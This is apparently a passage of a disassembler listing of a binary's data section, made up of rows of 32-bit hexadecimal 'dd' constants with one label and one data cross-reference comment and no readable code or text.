		dd 1FC8EE01h, 0E8C24E41h, 0C6E3E792h, 351C0550h, 0C1CA0CA3h
		dd 0A0FD113Dh, 5D0AE0A1h, 8C234E32h, 0E0BD07A0h, 2490C5DAh
		dd 27E70CFh, 2A16773Ch,	88207C4h, 3889967Fh, 3917692Dh
		dd 4009F81Eh, 0D826E907h, 30428CEDh, 0A180076Fh, 2AEA0861h
		dd 43F434F8h, 2E66E982h, 0DE29FE1Dh, 0E07D7CDh,	8BE5407Eh
		dd 8991C948h, 0E7C2EF60h, 14D1B78h, 4CBB5320h, 600A7235h
		dd 0CE000B42h, 0DF29F27Bh, 928459E9h, 2FE02061h, 1E4D01F4h
		dd 0FFE3295Fh, 5E6D08h,	6615B1B8h, 0F2B7893Ah, 26FC3596h
		dd 4444BE8Ch, 3D587F70h, 0FD828BCEh, 307E1AE1h,	4C63D056h
		dd 809F2C34h, 0C3B753F0h, 5A5BF80Ah, 0C7DC8DAh,	48384EE0h
		dd 446B76E9h, 0EE261A78h, 0A6BEFC78h, 0BD81F076h, 63D61E38h
		dd 0F04AAB78h, 711D0ABDh, 28BC015Ch, 42CE08C7h,	1B51AE1h
		dd 7CAF68BCh, 1D038051h, 0EEEE6A24h, 3B3441FAh,	5A11C10h
		dd 77145E64h, 0C329C2EEh, 1E5A0886h, 0DA4E8B07h, 82D90132h
		dd 240592Bh, 9F560EB3h,	218D748Bh, 5053D02Bh, 0D73A58E9h
		dd 6AD689FCh, 48315B51h, 6642DF9h, 62BA832Ch, 2C1B561Ah
		dd 6AE9C165h, 0AC902BA5h, 12B470A3h, 80CD2141h,	407E80D7h
		dd 1EAB144Bh, 0DE66E72Fh, 0FC6242A1h, 0AB76C3Eh, 1A30A2FDh
		dd 3C005ADh, 2D1A4446h,	2C9A63BBh, 4C7FF1E2h, 610D82DBh
		dd 0CACED0FFh, 81FB5581h, 0D1010D6Dh, 0EEB0103Dh, 3F4E9430h
		dd 2B0B9A4Ah, 5955950h,	0B82BAFE9h, 5F37DC17h, 0D91089DFh
		dd 23A88A4h, 0EAF2A0B5h, 0AFBD55C4h, 2814D3CCh,	78E6735Bh
		dd 845E5EAh, 0A35BBCE9h, 2570D473h, 0B0BFE4AAh,	2F922725h
		dd 0F5627F74h, 0E7C00195h, 3069E08h, 0AD7786CBh, 84239804h
		dd 14F15C8Bh, 254AE941h, 2ADE2AA7h, 8DC655C9h, 0EBD6D39Dh
		dd 0B94C9822h, 3FF4C757h, 0CA54BA3Dh, 88E0FF2h,	56F0AA7h
		dd 6849C872h, 7B4DC52Fh, 167D490Ah, 0FFE7BFDCh,	5B30D4ADh
		dd 0B252A901h, 0ABF28039h, 0CA43C07Fh, 66E6FE36h, 7E14E5FDh
		dd 0F21698B3h, 0B13B974Ch, 0EC433C44h, 0CEC931C8h, 7088C45Ah
		dd 9B2EE137h, 692C2DA9h, 0B26B5D21h, 0E0CC92F7h, 17284FE9h
		dd 94DBF9A6h, 0C118105Bh, 764C680Bh, 383207F3h,	9FAC5E2h
		dd 3268FA86h, 58806D1Bh, 5F8DC257h, 2140EFC1h, 0BF807287h
		dd 0D755394Ch, 0B8090758h, 33F0D009h, 1E23660Bh, 3C1ADF60h
		dd 0E49360F5h, 49CD9CD8h, 0F1DF9BD5h, 9C29676Fh, 0B97F5F25h
		dd 10D35C07h, 268F22F7h, 0DF0C8052h, 2F43CD96h,	0D6DB42h
		dd 0DDFC1B16h, 3075EBD7h, 0E55B244Fh, 0E3217BF8h, 0BA00A932h
		dd 5242D42h, 19011956h,	31C6914Ch, 0F54C807Ah, 4295044Dh
		dd 6B7C5934h, 57025400h, 753BCCBFh, 0F9291325h,	308C2DEBh
		dd 33255385h, 9D85871h,	0BEB718C2h, 3865F381h, 6A5DCEECh
		dd 59080538h, 688728EBh, 18E31152h, 0E0876062h,	9FD4C908h
		dd 246FCC7Ch, 9F8C35FBh, 6790F68h, 37A57E36h, 0DBFA9318h
		dd 23858406h, 9806BA0h,	0F3834224h, 0A80BB05Ch,	630F5459h
		dd 1003A1F1h, 0CF5EBDBBh, 4FF0A02Ch, 2D157F1Ah,	0A1E4455Ch
		dd 0F030405h, 0A6B52E89h, 0C4944F1h, 9C41E273h,	84498A3Eh
		dd 1CD01E53h, 517CC3F6h, 0E02BCF48h, 28627919h,	65D0211Ch
		dd 0C44AFC9h, 4DE7E917h, 120124C8h, 0BD665E46h,	0FFC1610h
		dd 6C0BDB56h, 2E2C276h,	0BFD85A9h, 0C1EEE025h, 3851B761h
		dd 0E5129FE7h, 25857C37h, 4E87984Bh, 6070FCCAh,	0A2CDE321h
		dd 2F24853Ch, 0B9073C4Dh, 767BFD3Fh, 0EDE90606h, 96BA8435h
		dd 3BC36230h, 2DCDFBC1h, 8676F593h, 0C4224D40h,	1E2FE3Dh
		dd 77216FC7h, 697D34E9h, 7F9655FBh, 8D85BFB3h, 3261AAF3h
		dd 3C126BBFh, 0E995A2DDh, 0B5825845h, 7235F4F0h, 0E1F90E3Ah
		dd 9C082065h, 0FD272924h, 0E0E9545Fh, 48C9CD95h, 4246FE95h
		dd 0CCF57B4Fh, 1744305Bh, 50EDD112h, 6F35B804h,	10BC20A7h
		dd 0F885813Dh, 0BA083F0Bh, 59C7AE2Ch, 0F4A719D7h, 81D6D4DCh
		dd 810E7898h, 3A0DCE2Bh, 0B92A19BEh, 0F8C60311h, 94E601C1h
		dd 0E9CB20EEh, 48F738CFh, 1E483D58h, 0DB04D304h, 50007902h
		dd 0B15137B4h, 3328884Fh, 0F6614CB7h, 0F65D285Eh, 3234B4A1h
		dd 163A0B5Dh, 6D35A036h, 2D1D2F05h, 5B8B29E9h, 71581E7Ch
		dd 60609E54h, 657717C1h, 1662BA75h, 85CA310Ah, 6A886661h
		dd 4DFEEE57h, 0F05BDAFCh, 5412875Eh, 1CB95D9Ah,	8921E7C5h
		dd 625B4190h, 72CF4063h, 80B8DD49h, 0FB9930E7h,	1B435905h
		dd 0CDBADFF7h, 76CBDB44h, 6FD661C1h, 74E993E0h,	524597AAh
		dd 59C1123Eh, 0B1026DA3h, 256CE405h, 2C459460h,	30024076h
		dd 0E938F815h, 5C750FDh, 98046805h, 685AA1Ah, 8BB5D0ACh
		dd 18F34A18h, 5F20C820h, 49988809h, 0CC088003h,	0B5953CBh
		dd 52B5F676h, 7DC451F1h, 17C0F294h, 25BC3DC5h, 725E2968h
		dd 2AFA0820h, 5C26026Ch, 0B8D040ADh, 0EC76A705h, 8D892D57h
		dd 67FBC13Ah, 62247AFCh, 79B907EBh, 43565C3Eh, 1195E813h
		dd 0E542F9ECh, 0ABA6134Eh, 0B04A4B9Eh, 0FF32E97Eh, 5D5D901Bh
		dd 123E46F9h, 77A8302Dh, 0BF421AA1h, 68C3040Ah,	509852AAh
		dd 0C447131Dh, 64A38059h, 2B17B054h, 4704EAC1h,	0AF137E17h
		dd 61C43612h, 8CB9C30Ah, 0E0D7908h, 1DC2BE56h, 0E2405C71h
		dd 8CB45D78h, 9747708h,	0C9DED0F7h, 0FF710939h,	9057F00Ch
		dd 0CEF4FAB4h, 0DAC08024h, 0B652C1FEh, 0C60A5678h, 0BBD6F6E0h
		dd 0B04BC537h, 3C9EBB6Bh, 0AC5E9C13h, 1EE982FCh, 3CB9006Bh
		dd 12653A48h, 61EAC958h, 6B361B9Fh, 950FFD31h, 24F79C2h
		dd 0D328CAB2h, 0F2A5D451h, 9C989A73h, 0EB80F8C7h, 0D528F725h
		dd 920B2E04h, 7F7FEE6h,	176E273Ch, 0E6923927h, 0D5F7B280h
		dd 51BDC06Eh, 0EC712FBCh
		dd 16CA044Bh, 32A28ABh,	8ABD5B4Eh, 0E189C5CFh, 0C0020562h
		dd 1E7FFA94h, 482EFE62h, 0F1B12ACCh, 69BA00E6h,	0E0365F27h
		dd 2B734041h, 0E1C15212h, 48030DA0h, 0B04F5883h, 65E4D716h
		dd 0FA17D92h, 5FBA538Eh, 55E0E2FAh, 7B7E90EAh, 0C425337Fh
		dd 2534469Ah, 31580CE8h, 84339721h, 17E280E9h, 0A6F81729h
		dd 0B60AC1ABh, 0E4B2B5A7h, 0D3C019A2h, 916934C5h, 0C00B802h
		dd 4F3B18F2h, 0D024518h, 0D9E97476h, 0D4C5FF43h, 0EF02B0A4h
		dd 0C33B4154h, 83D011B2h, 0AB365EE8h, 590C9CA7h, 1C04EB51h
		dd 75D05E9Bh, 7E910ABh,	803CE912h, 87D3F72Fh, 134EDE3Dh
		dd 0FADFB3Ah, 7E43C525h, 0C1780C25h, 0F32F5819h, 13E140D6h
		dd 0A00DB548h, 95CA2166h, 0F6520AFCh, 1E9893A6h, 5B96EADFh
		dd 0B1CDC88h, 0EB9D34E3h, 9C607E09h, 8081721Dh,	4FC6E908h
		dd 9390F62Eh, 16E58953h, 0A82ECEE1h, 4BC5D0FBh,	2E882DFBh
		dd 98BBBD81h, 6C6310BEh, 92251CA6h, 518B95Fh, 0C74252FCh
		dd 3282C1Eh, 84A504D8h,	538BA04Fh, 0B1E0544Bh, 4F1BE860h
		dd 0CF02E556h, 0AE060A2Ch, 4E7F0A01h, 813A091Dh, 4D3EBFDAh
		dd 76EC2FE7h, 0A55B1EA1h, 7007887h, 0FB76FFEFh,	0E13FE215h
		dd 0BF834E5Fh, 0EF47C4F2h, 0E0E99D44h, 5916C9ECh, 0DF899AFDh
		dd 8F620832h, 0B0A0C55Dh, 7954F932h, 85D54869h,	0C3D09380h
		dd 123DBA52h, 0B07C828h, 5B98021Ah, 8030D4B1h, 5E4F4C1h
		dd 0EF719E01h, 1808A586h, 859C479Fh, 82F9F766h,	0DE0A301Ah
		dd 35B00543h, 0AA3A83D3h, 9675A261h, 2DEBFF55h,	0ABBB0527h
		dd 0CB3EC79Dh, 0B828443Eh, 0B46EA441h, 0CB6225E9h, 43CD3110h
		dd 3A16C884h, 2B147E44h, 2F34C84Bh, 0A54FADECh,	0DFF2DB13h
		dd 58EDA910h, 0EEEA026Ch, 0DE6C3574h, 9508A089h, 2A6C665Ch
		dd 0FD09059Bh, 0D5D1E91Eh, 13DCAC98h, 2CEAC889h, 60AE94Dh
		dd 98672F05h, 5B5CF501h, 40DB293Ch, 0EC52081Ch,	0C2D4922Ch
		dd 55092D72h, 342E9BFCh, 4604870Bh, 52C8341Fh, 8A25BFF5h
		dd 19091C01h, 1D2958B0h, 690F3101h, 40E7D14Ah, 3250700Ah
		dd 0CAE9461Eh, 64775CA7h, 2A92F1FDh, 0F33E0FA1h, 9CB25AFDh
		dd 0AACB9C6h, 76415E27h, 26784E24h, 0D3096F6Bh,	4CA312Bh
		dd 411F1126h, 0E521A1F7h, 0AFF8E11Ah, 0F6360F2Eh, 3B5EBECh
		dd 0C9605C0Ah, 0AC64E1ECh, 3C0BE5C0h, 0D37CA12h, 17021C08h
		dd 9111D85Dh, 0FB05C068h, 784E0803h, 488832EFh,	0E3EEFCD8h
		dd 0F38B639Bh, 0B59F35Eh, 0F8DEA98Ah, 0CEE65F49h, 5ECD6817h
		dd 0B151DE30h, 0CE8809B9h, 0A3208DE9h, 49536850h, 1D294FC4h
		dd 65E90423h, 28322B35h, 0C5574B0Fh, 1CA728D9h,	747080D6h
		dd 65501821h, 8FE90247h, 55D0C0ABh, 3217C168h, 66E463CBh
		dd 1EADFD90h, 18359E6Ch, 6CED75ECh, 52D9680Bh, 151AB0FDh
		dd 0C13414A1h, 0F502FCE5h, 508A8C84h, 229CC80h,	0D4A07EC6h
		dd 8677E951h, 0B9817DB2h, 3AB13FEEh, 93D05021h,	0DEB6030h
		dd 4A9C76E1h, 0C5FAE914h, 88F9D3A4h, 0D7168C2h,	273BC5F7h
		dd 66C20CFBh, 1E7283FFh, 0F6BB841Fh, 715927DAh,	0CAE2E92Fh
		dd 64471891h, 0CDEC55F1h, 0FEF52341h, 0F45FD998h, 63C13EC9h
		dd 923B80C6h, 56F7D9F7h, 0DCD451ADh, 0FC442989h, 427367E0h
		dd 8271147Eh, 0F8685743h, 956FCD16h, 0D509C273h, 0F773A39Dh
		dd 0E3C199DBh, 0F381B9F3h, 547031F9h, 20BB8193h, 0F7AFD5Fh
		dd 45C44C4Ah, 527A9AAFh, 3681914h, 647B5414h, 500E90B4h
		dd 61016852h, 5A5DBF66h, 0A630DAF7h, 0C67F1302h, 7C9F0062h
		dd 0E9C48D9Ch, 4CCD6A35h, 7E91CAAEh, 0AB84130h,	97436C68h
		dd 19F0431h, 0B03F0F04h, 0C54EEE15h, 0DA30390h,	0C07D605Eh
		dd 66B24CE7h, 188AF8BFh, 28392EE9h, 0CFE086B7h,	95484AF2h
		dd 62BBD30Eh, 7BFA4464h, 0F6DFD42Dh, 4968509Ch,	516A30BFh
		dd 9255AA11h, 9A517545h, 2DAF54C9h, 17EA217Eh, 28EE2C17h
		dd 5D7DCB4Ch, 1E197458h, 649D5707h, 416ABA4Ah, 0F689509Fh
		dd 8C6254EBh, 0DACD8126h, 9AA85B4Ah, 0D686ECA4h, 9CDC86C1h
		dd 0EFEC8000h, 82975CB0h, 0C2C388EAh, 0BE30E077h, 85D414F7h
		dd 0F125FBFBh, 0F05FA9C2h, 0A8BB435h, 0C935B896h, 615B6A05h
		dd 33EB3C99h, 80813B7Ah, 6B3E5282h, 1757D329h, 0BAE885E9h
		dd 0B05C0F6Ch, 70670128h, 0F06815B3h, 0CF793C17h, 1906A1CFh
		dd 0D16DC731h, 5597FD18h, 3A12F2F5h, 0BA205A68h, 3CED07E4h
		dd 345B0116h, 5D0C0BC8h, 0E108CADBh, 58C24F3h, 4351343h
		dd 506ABBDh, 0B4B21704h, 0EE00BE93h, 5297B450h,	13E64C88h
		dd 27DC0710h, 58D2F458h, 10C2B2C4h, 7E59CA88h, 3508585Ah
		dd 6564082h, 7ED81F1Ch,	67920B4Fh, 0DFF26B66h, 68680097h
		dd 0BB4D33h, 910D584Ch,	0F7784831h, 0A3E9D009h,	0FAC024D5h
		dd 138ABA25h, 6E2D8647h, 50C902D1h, 7CB925EEh, 9909212h
		dd 0C1C4397Fh, 0CFE4953Dh, 1B371D5Ch, 6CE28656h, 0F2F8A24Dh
		dd 3B12A50Ch, 13E12446h, 0EC30CE91h, 172F1ABEh,	535F7ED4h
		dd 7515A0F1h, 9042BD3h,	0E812EE3Eh, 0E868019Ch,	0CA8748A1h
		dd 0ECF262Bh, 2C950890h, 6058EE51h, 329F9242h, 68130F1Ch
		dd 62BA0BF5h, 39D010CBh, 51D7BA06h, 964331Fh, 73FA2B8Ah
		dd 1D2CF256h, 0A84A9210h, 0C8082F8Ah, 0C75FD11Ah, 72FD3118h
		dd 6771887Ah, 8F97B622h, 0AF5BCA2Eh, 60A422A7h,	0AA1457F4h
		dd 8B36282Ah, 10CAE502h, 5F526F19h, 0D9F75F90h,	90A8A2EEh
		dd 602CC2BAh, 53184FF8h, 0B6A16851h, 1BFC25CBh,	9FEDDFFAh
		dd 51088F19h, 0A60AA83Ah, 7C24BF1Dh, 5C60F0F6h,	205B44BFh
		dd 27B0E7D6h, 0F2F9E0Ah, 2718B42Eh, 137DC2DBh, 54F381Bh
		dd 0E45AB49Fh, 80E1422h, 0B6858E2h, 5C21C66Dh, 8F50C8D4h
		dd 752F4EDCh, 0D8AEF4B8h, 7468E6A8h, 35A91454h,	4EA74149h
		dd 0A402DB84h, 61F22903h, 3E69D580h, 7033B340h,	0E92BE12Ah
		dd 34FF9317h, 0B0BAAF6h, 0D1D80491h, 3604E83h, 27DDEB91h
		dd 0C013112h, 54D950A5h, 0F430FB29h, 0E30A595Bh, 3D239902h
		dd 0F3633175h, 8525C29Bh, 3302E558h, 0CC9991B4h, 0F595202Fh
		dd 21760973h, 0E8BCE16h, 0F66F01AAh, 0D9FF4E9Bh, 0AD986F01h
		dd 122B6DAh, 3E7D94BAh,	55528520h, 8F053C13h, 0AEE29B77h
		dd 0FE44EE97h, 0C087FB3Bh, 5D009934h, 0E737472Dh, 9E62ECE5h
		dd 0E6DDB2A8h, 0C10DF9A2h, 0E57E450Bh, 4C4D67ACh, 0B6B14BEDh
		dd 1F1CCF2Bh, 0CC654709h, 203130E1h, 7105B9C8h,	8541AB24h
		dd 20EF0434h, 0CE3AB8F5h, 0F5E2DA60h, 0FC41364Fh, 9D9E9ACAh
		dd 5DE987D6h, 5F201C16h, 0C1810210h, 3D2682D3h,	1DFC5F70h
		dd 0D9010A24h, 8A020CECh, 0C162740h, 21ED2FE1h,	4D88CAE4h
		dd 0F27C860Bh, 35D8B70Dh, 18E36816h, 0A308C261h, 0B9FE10ADh
		dd 5C3B62F2h, 0B0575A11h, 0BC7CE5F8h, 69C66258h, 0BE624F76h
		dd 515956AFh, 0C6217ABFh, 2C127784h, 54580C64h,	0D427241Fh
		dd 3E888F51h, 823EE5C6h, 76CE19EFh, 521F642h, 0B3384D68h
		dd 3BB9173Eh, 0FAE02D94h, 13FA6AE3h, 0B4AE0BABh, 33C76130h
		dd 0C10A9304h, 0E3EA07EDh, 1D6601B3h, 0FCE962E4h, 0D016412Dh
		dd 0AB40AE5Ah, 343170C3h, 9D39B871h, 0B252DB01h, 53ECE00Dh
		dd 8781F58Ah, 20D888F5h, 0E041368Eh, 1664B741h,	5DC17D2Ch
		dd 3B3A6D03h, 0B23F6EC9h, 0A1E9E0D5h, 2464B5FBh, 8BFD29Dh
		dd 0FA2618A5h, 21054101h, 2D9C178h, 168A0830h, 65DA1Ah
		dd 7159CB83h, 0C65C0167h
		dd 1B53E13Eh, 0D54CE139h, 6B51F501h, 288927FAh,	0E4F312BEh
		dd 0A0D2BEB8h, 0D406F91h, 14E9BD5Dh, 0D136C76h,	5A525854h
		dd 9B90070h, 4BC4D915h,	52BDE358h, 85464F48h, 9C8BAAF5h
		dd 7033F986h, 7B3C2D0Fh, 4F407D21h, 2949081Eh, 8252B0D8h
		dd 4FF85508h, 1740AB4Ah, 7F3694E5h, 0FD870C14h,	0E908D7F7h
		dd 4E8AEE2Dh, 3FA29DB8h, 715192B0h, 109E801Fh, 224AC9CBh
		dd 0B040A02Dh, 377704F2h, 0A08A34C1h, 57139D49h, 6BB531Fh
		dd 5058D44Bh, 23E925BAh, 0BC6D25E2h, 352FEA4h, 20319A8h
		dd 45B8CD37h, 6F4214AFh, 0F921FA0Fh, 0FF5ED715h, 0FC68A3C9h
		dd 0EA503129h, 598036CCh, 0B652035Bh, 0E5F68014h, 0E9C6E698h
		dd 0D1F1582Fh, 40173CB3h, 41D1CD4Bh, 29D199E2h,	9E8591Dh
		dd 9B2472Fh, 12878AAh, 0D63844C3h, 3B8FE93Ah, 5D338E0Bh
		dd 78B89E39h, 7AF4C1ECh, 0C831F8Eh, 6BE449Bh, 6307F801h
		dd 0DFE93534h, 0EC563864h, 0B9BA4B0Eh, 8BDECF46h, 46F5083h
		dd 286BD6BEh, 228B8043h, 1A4BDC51h, 814A2E9h, 5200C646h
		dd 4B45F239h, 6B53A3E9h, 575D78FFh, 0F7532429h,	0D788C005h
		dd 0F9822A82h, 0AFA544CDh, 0D4474609h, 0A47B01C5h, 6BD5F706h
		dd 0B6D01884h, 4AA0596Eh, 0A6751E4Ch, 62B98159h, 7C0C3368h
		dd 544CE1h, 6728456Bh, 7B9CE681h, 0C8636069h, 97E55A9h
		dd 430BFB90h, 0FF9AB76Dh, 8773938Ah, 90A6A68h, 4EB4EF7h
		dd 0C8396105h, 0D0AAC46Dh, 33B032F7h, 50058AA3h, 0A187F4CAh
		dd 3000208Eh, 0E9476B4Bh, 48B720E5h, 0C7280D29h, 3A40476h
		dd 0EC052CF0h, 0FCF7E94Dh, 53AF49AFh, 409D1AD5h, 81EB140Eh
		dd 234CD851h, 272D0CC1h, 8D70C256h, 70551D8h, 12143D4h
		dd 0BA5215D9h, 30042C51h, 81FAEA6Fh, 116CCA0Fh,	4302F226h
		dd 0E0F43DC2h, 686747h,	0D0012816h, 1721BF57h, 504AB127h
		dd 1E449D7Ch, 544C470Ch, 16B60C31h, 0AB55AA23h,	2D634503h
		dd 3C180533h, 90D3198Bh, 48055A46h, 7ABC1C4Eh, 0E76F8012h
		dd 20FE581Ch, 0D580055h, 0E56545Dh, 74285935h, 0C515D576h
		dd 4FFF09E9h, 3805BBE9h, 0EF136022h, 2C405A00h,	8BEF2941h
		dd 60E91109h, 4238A2F0h, 62CC571Eh, 8C6CD5F5h, 29577F83h
		dd 15506243h, 0C80C2A74h, 5816252Dh, 0C1087CFEh, 83FD25F4h
		dd 20B428Ah, 6B65CDD5h,	9CCB3776h, 9DBE638h, 89E97C17h
		dd 814455AAh, 0ECBD659Ah, 393225EEh, 2BA85820h,	4AB06A61h
		dd 0DC707E09h, 733C007Ah, 5F7E3C8h, 8BE9F289h, 0BAB1932Eh
		dd 6FA16AD9h, 0F9BCF4C0h, 0E9974493h, 0E3DAD931h, 84762229h
		dd 29CE6C17h, 0EC8F5431h, 9C680B99h, 93345F1Fh,	5406ABBDh
		dd 23CACFh, 193A2EA8h, 92721E9h, 0E7789001h, 2291FB3h
		dd 8127923Eh, 42F12108h, 5F113BBBh, 0C52BA37Ah,	21A3535Eh
		dd 0C6250C4Ch, 0ED925DD6h, 6675BF07h, 0D13590B2h, 576396A3h
		dd 0AF953485h, 6EC18AF0h, 96CE2CD4h, 2ED028E9h,	512BA05h
		dd 46BB480Fh, 4DAF79Bh,	8909EB9Eh, 0A0127D82h, 82A01C51h
		dd 0B12D25E6h, 0F6F87012h, 9442D6Eh, 0F45A2A50h, 55293FC2h
		dd 8341B3C4h, 77E4017Bh, 70470A7Fh, 4648074Eh, 731D007Ch
		dd 67E933B1h, 0AE3ED619h, 0F181E800h, 5F9E4720h, 58E2E373h
		dd 9FF6000Eh, 13E9C0A2h, 0C19ABD0Ah, 36050D82h,	36A91B0h
		dd 49CC5C95h, 90C17350h, 71A570B9h, 3DC3D03Fh, 0E9E21335h
		dd 0BEF50B2Ah, 0E401D9E9h, 292D5E30h, 0CEA0A2EEh, 23D924Fh
		dd 51A17180h, 827FC9F3h, 1E05533h, 7FC1895Eh, 2117DFDEh
		dd 90ECFC8h, 576FD568h,	7055F0B1h, 4FF0E235h, 0E6BD051Ah
		dd 0C253500Bh, 68565DC2h, 0E4667975h, 0AF588101h, 943547Eh
		dd 8A44ADB1h, 0F082A39Eh, 0E12D1D6Ah, 772B07ABh, 2C5C4141h
		dd 0C5E0C2E0h, 801C79B5h, 0E81667C5h, 44BE5204h, 0F7E4E903h
		dd 2EE3BF84h, 0FD5C572Dh, 2CBE5FC5h, 0D7B280BAh, 803CDE97h
		dd 0B3C0D47Fh, 28A4D701h, 9FE9551Dh, 5BE0D667h,	0F8E95509h
		dd 28727109h, 0A753B5B9h, 50E6E942h, 4082A082h,	3F87037Dh
		dd 0E705202Dh, 0B9F35B8h, 0E90DC504h, 6BA3AB12h, 5DFCAF9Dh
		dd 78E95CD0h, 0FF014EB2h, 0B0B21535h, 9D82BE93h, 5FF8D8D5h
		dd 0B4A9F851h, 0E90BE2B7h, 3F5E43F5h, 577E2662h, 0E4BF0846h
		dd 1C6827B3h, 8165FD7Ch, 0DEACCA0Ch, 0F0A49F28h, 164AA8F5h
		dd 6F04B753h, 0C10252F4h, 0E3FE08E3h, 0FF89FA1Ch, 5ECD729h
		dd 56FDC9Dh, 0A8660569h, 8D939EC0h, 5A68E428h, 816BF9BDh
		dd 6FEA4BA0h, 0A5C9D16Eh, 0B8208475h, 3B805F46h, 9F737E35h
		dd 0D22E6CF8h, 62CF8F52h, 615A407Fh, 8760EF4Ah,	91F89099h
		dd 0D5BFBC17h, 85D8F8DBh, 80BA792Eh, 525A5BC2h,	3D44709Dh
		dd 0F79F3807h, 40409ED0h, 0E97A8405h, 9F949736h, 74E26B6Eh
		dd 0C41597AFh, 96B7AF47h, 2FAD023Fh, 0CDCAA9E8h, 3EC1390Bh
		dd 2973824Ah, 3C37E72h,	32F6E9D1h, 0C3BFB005h, 80BB0D4Fh
		dd 0BA5014CCh, 90215B5Ch, 0D85D3C08h, 0CAE90C44h, 0DBB70D3h
		dd 6DED1F0Fh, 761A92D5h, 8F6BCA29h, 37E05F0Bh, 5A34438Fh
		dd 41DF3DA0h, 0C96647DDh, 0E2F457A9h, 920E9707h, 7E3AC68h
		dd 0B3780AF7h, 9F1C8999h, 55270D32h, 0FE954416h, 0D42DAD1h
		dd 952579D4h, 0EC3F0BA7h, 7F1774CCh, 7D01286Eh,	71C45E25h
		dd 13DD7A70h, 0A9861180h, 0C22BD1CEh, 44C56EE9h, 68060A7Dh
		dd 8232224Bh, 19BEE954h, 0C917D6h, 3767D038h, 0FD01345Ch
		dd 77081274h, 6B23F82h,	57FD720Fh, 595E55Ch, 7C561AA6h
		dd 73D104AAh, 0F5CAFE47h, 0A5129B26h, 29B17948h, 0DB94014Ah
		dd 571069ACh, 0C2090B67h, 8373C258h, 9230023Ah,	2FD656A2h
		dd 0B85B39E4h, 298D685Eh, 0F9E25014h, 0FD41646Ch, 0DEB18122h
		dd 0E67870F4h, 673AD50h, 1457656h, 1E0BD4CBh, 844B8506h
		dd 0E9030552h, 645B2A37h, 88F94129h, 5904213Ch,	0A85BF830h
		dd 4BA6DFBCh, 2D633C08h, 2D1E7ADEh, 7F5723C5h, 0B06B08A9h
		dd 890515DDh, 3229EDE9h, 5A16027Fh, 0E17463C0h,	3E22A550h
		dd 0C1E488B4h, 0B7559F00h, 0E9F90116h, 0ACEB4B04h, 0D95F187h
		dd 219A416Ah, 6F65DF58h, 0C310A0A6h, 0D3E9C63Bh, 0F5313B3Fh
		dd 0AD7CF1AFh, 0E2908164h, 4828A64Eh, 0AD0B301h, 0B668E909h
		dd 0C383327Dh, 0C3082D01h, 68F4BB50h, 44233627h, 0F62C30C5h
		dd 0A8AEEF5h, 2516C395h, 0BC555690h, 1A5497F6h,	0D171E979h
		dd 4DD8BEADh, 8ECF8100h, 534CFA4Bh, 1C5600BBh, 0D9E936D4h
		dd 5995011Bh
dword_4F0044	dd 0A8D44B71h, 143D1639h, 48572A28h, 0F09205BFh, 0FE63EC64h
					; DATA XREF: ___:004385A4o
		dd 24AD666Eh, 1FDBD8F0h, 11DBF026h, 457BF840h, 51287C30h
		dd 30379DEBh, 670C4C02h, 562F4772h, 166A1459h, 0E48E48E9h
		dd 0EA4AC0C3h, 0CB7605E3h, 6DC249F3h, 2788C6D5h, 0D8E0EAC1h
		dd 1D24A9ABh, 832DBBC4h, 0B29605D5h, 8BDD84DAh,	0BC581C8h
		dd 5461161Ch, 87AA8D5h,	2EF05E16h, 737C5849h, 0ED27011h
		dd 0BE8B151h, 0B7F270CAh, 53BD5596h, 22DD250Dh,	509CE935h
		dd 0EEBE02E3h, 56613B5Eh, 68D13748h, 5D0C1B18h,	0FA28857Ah
		dd 0D483E18h, 2DCC088Bh, 0B37BA55Fh, 1C8B9BD1h,	0AFFE692Fh
		dd 9FB3E41Fh, 6341F1CAh, 4AF34A58h, 43B52BFh, 647E1310h
		dd 4FB5A87h, 95C251E0h,	73465FFDh, 1C91FAF2h, 38075F69h
		dd 55EB20DEh, 0A05EA8E9h, 54F5231h, 2025ECC2h, 0BF0584E1h
		dd 69CF11BBh, 31C420AAh, 1C4CDC20h, 0A1B14ADFh,	2A5FD93Eh
		dd 0EED23FF7h, 800C7A98h, 0E794A219h, 457A662h,	10DAAE5Fh
		dd 9A75506Bh, 6BA0FF89h, 0A3427EEAh, 1054D48h, 69A52270h
		dd 2E82DA01h, 7B941AC7h, 6790C0FAh, 6D8D795Eh, 52F70F3Eh
		dd 0ECDABCA5h, 830A9E15h, 5D425320h, 0E932572Dh, 56C5ABF6h
		dd 72FEABC8h, 8C66BCEh,	0D8130F5Eh, 88AE9CABh, 0D9D3F75Ah
		dd 0CE01E2AFh, 0EBAB808Eh, 861A4C10h, 0BD552876h, 3950B508h
		dd 31BF584Ah, 817121FCh, 730FB983h, 0E36E4A95h,	84B24CEEh
		dd 95BEFCF8h, 0E306AE06h, 7F3A9039h, 70B96EADh,	6C872D01h
		dd 0D8C8604Fh, 0E9070550h, 26D24259h, 0D4E22158h, 25890B8Dh
		dd 0FF250B7Eh, 0A2BFC81Ch, 10685128h, 76EE5059h, 72C34B07h
		dd 32800D58h, 5BE93F51h, 0B2B316CCh, 22FAA5B7h,	60544480h
		dd 0BF10DD52h, 0E340A1E9h, 0B95FFA68h, 9529288h, 0B174239Dh
		dd 8069C52Fh, 7163AFBAh, 0E24CD17Dh, 7D904F7h, 94AC35D0h
		dd 0B87B0C58h, 4D3A0018h, 85681583h, 8D690DA5h,	2770CCh
		dd 4E4C5125h, 11763566h, 45EAF076h, 0CC68753Ch,	14E83B8Ch
		dd 2DCB43E2h, 886CC7CFh, 5C17E2DCh, 0DFF8F517h,	3138EF4Bh
		dd 0A5688083h, 0B43F3462h, 678F0907h, 0A33A3C84h, 391D013Fh
		dd 5FE97641h, 0B62BA231h, 0BE56014Fh, 586F0C1Ah, 0E9FD242Fh
		dd 0C3819375h, 0FCC21F67h, 7ED58C57h, 510BC69Bh, 0C2352817h
		dd 0FFE24081h, 0D2F2DC2h, 0F18990E0h, 0E984DC9Eh, 7ACA669Eh
		dd 4EF70776h, 0C01FD478h, 0A07762EFh, 27DA204Ch, 268652D9h
		dd 96803C0h, 43FEFA09h,	92EAF558h, 57140B07h, 427425FEh
		dd 82FA5B58h, 0A5208A66h, 16057D02h, 0B3AF142h,	165DB2CCh
		dd 119E809Dh, 40860D62h, 2AED701h, 0AFF65A08h, 4FA1AC3h
		dd 2254CE35h, 0EE72C017h, 68027ECBh, 1AB8E96Eh,	40F7FE01h
		dd 8CF317Ah, 856E5B4Ch,	0E594C7E9h, 308197AFh, 27582D52h
		dd 71528698h, 7E9C09E3h, 0C660078Bh, 0F7E85AD4h, 8A74059Fh
